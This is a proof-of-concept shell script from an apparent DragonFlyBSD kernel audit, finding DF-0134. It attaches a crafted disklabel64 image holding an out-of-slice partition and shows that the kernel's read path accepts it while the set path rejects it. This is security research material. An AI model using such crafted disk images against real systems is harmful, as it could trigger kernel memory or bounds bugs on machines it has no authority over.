DragonFlyBSD Kernel Audit
DF-0134 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0134 run — crafted disklabel64 with an out-of-slice partition; show the
# read path (l64_readdisklabel) accepts it into the in-core label.
# Setup (vnconfig) requires root — the standard "crafted disk" precondition.
set -e
cd "$(dirname "$0")"
IMG=/tmp/df0134.img
VN=vn0
SZ=33554432		# 32 MiB

vnconfig -u "$VN" 2>/dev/null || true
dd if=/dev/zero of="$IMG" bs=1048576 count=32 2>/dev/null
./craft_label "$IMG" "$SZ"
vnconfig -c -S "$SZ" "$VN" "$IMG"
echo "=== in-core label via DIOCGDINFO64 (read path) ==="
./readback "/dev/${VN}s0"
rc=$?
echo "=== contrast: set path (DIOCSDINFO64) must reject the same label ==="
./setlabel "$IMG" "/dev/${VN}s0" || true
vnconfig -u "$VN" 2>/dev/null || true
rm -f "$IMG"
exit $rc